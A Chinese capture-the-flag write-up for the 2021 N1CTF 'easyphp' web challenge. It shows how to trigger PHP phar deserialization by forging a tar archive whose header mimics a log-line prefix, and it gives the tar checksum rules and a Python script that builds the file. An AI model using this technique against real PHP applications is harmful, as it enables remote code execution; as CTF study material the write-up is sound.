[2021N1CTF国际赛]Easyphp-Wp

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[2021N1CTF国际赛]Easyphp-Wp相关的知识,希望对你有一定的参考价值。

写在前面

在各种带飞的情况下,web被带ak了,这里比较想写一个easyphp的wp,这题到结束也只有14个解,其他的懒得写了,本文也只是简单分析

Wp

简单分析

看看首页源码

再看这里很明显是触发phar反序列化

如何插入数据是一个问题,这里没有上传,再看log.php


关键部分源码是这个,我们就应该去想如何去构造,这里phar太难搞了,具体可以看看官方文档关于他的结构,后面最后四位肯定是GBMB多一位都不行,这里想到了tar,本来他也可以用来触发反序列化之前说过,并且不需要像phar那样去计算签名

小实验验证猜想可效性

先生成一个phar

再生成一个tar

下面做个实验,首先生成了一个tar与phar,在后面加点字符看看还能触发么

验证一下确实可行


那么我们就可以去尝试构造了对吧

构造tar

首先我们要知道tar只是一个归档文件,并不进行压缩,这点别记错了
这是官方文档对于tar的介绍:https://jackrabbit.apache.org/oak/docs/nodestore/segment/tar.html
来看看他的结构

struct tar_header
  
   char name[100];
   char mode[8];
   char uid[8];
   char gid[8];
   char size[12];
   char mtime[12];
   char chksum[8];
   char typeflag;
   char linkname[100];
   char magic[6];
   char version[2];
   char uname[32];
   char gname[32];
   char devmajor[8];
   char devminor[8];
   char prefix[155];
   char padding[12];
  ;

以上是Tar中保存文件信息的数据结构,其后跟着的就是文件的内容。

  • 其中,文件大小,修改时间,checksum都是存储的对应的八进制字符串,字符串最后一个字符为空格字符
  • checksum的计算方法为出去checksum字段其他所有的512-8共504个字节的Ascii码相加的值再加上256
  • 文件内容以512字节为一个块进行分割,最后一个块不足部分以0补齐
  • 多个文件合成的tar,存储格式为:tar的头结构,文件体,tar头,文件体……。当所有文件都存储完成后,在文件末尾补上一个全零的tar结构(即1024个零值)
  • 所有的tar文件大小都是512的倍数
  • 一个空的文件,打包成tar后,为512*3个字节

简单写个脚本,剩下部分自己写吧,留一点算作业,这里用python2,python3的ord有限制,不好用

额多说一句这个make_tar传入的文件是tar不是phar哈,怎么生成tar,第一步创建.phar文件夹,第二步往.metadata.bin里面写序列化内容即可,这里就是serialize(new FLAG);懂得都得

def calc_checksum(data):
    final = 0
    calc_data = data[:148]+data[156:512]
    for i in calc_data:
        final += ord(str(i))
    return final+256


def make_tar(name):
    with open(name, "rb") as f:
        data = f.read()
    type = "y4tacker"
    //"2021-11-20 18:45:53"这个时间戳需要自己生成下很简单的百度都有,我懒了
    generated_metadata = "Time: " + "2021-11-20 18:45:53" + " IP: [], REQUEST: [log_type=" + type + "], CONTENT: ["
    new_name = generated_metadata.ljust(100,'\\x00').encode()
    new_data = new_name + data[100:]
    checksum = calc_checksum(new_data)
    new_checksum = oct(checksum).rjust(7,'0').encode()+b'\\x00'
    new_data = new_name + data[100:148] + new_checksum + data[156:]
    with open("get_flag.log", "wb") as f:
        f.write(new_data)
        f.write(b"]\\n")

可以看到伪造完的结果,打开做个这个生成的tar

最终获得flag

参考文章

https://blog.csdn.net/DisMisPres/article/details/94733424

以上是关于[2021N1CTF国际赛]Easyphp-Wp的主要内容,如果未能解决你的问题,请参考以下文章

[2021N1CTF国际赛]Easyphp-Wp

[2021N1CTF国际赛]Easyphp-Wp

N1CTF20221 Collision exp解析write up

N1CTF-2020 PWN 部分题解

哈尔滨理工大学2016新生赛D题

2021数维杯国际赛数学建模-A题思路-新冠肺炎背景下的港口资源配置优化策略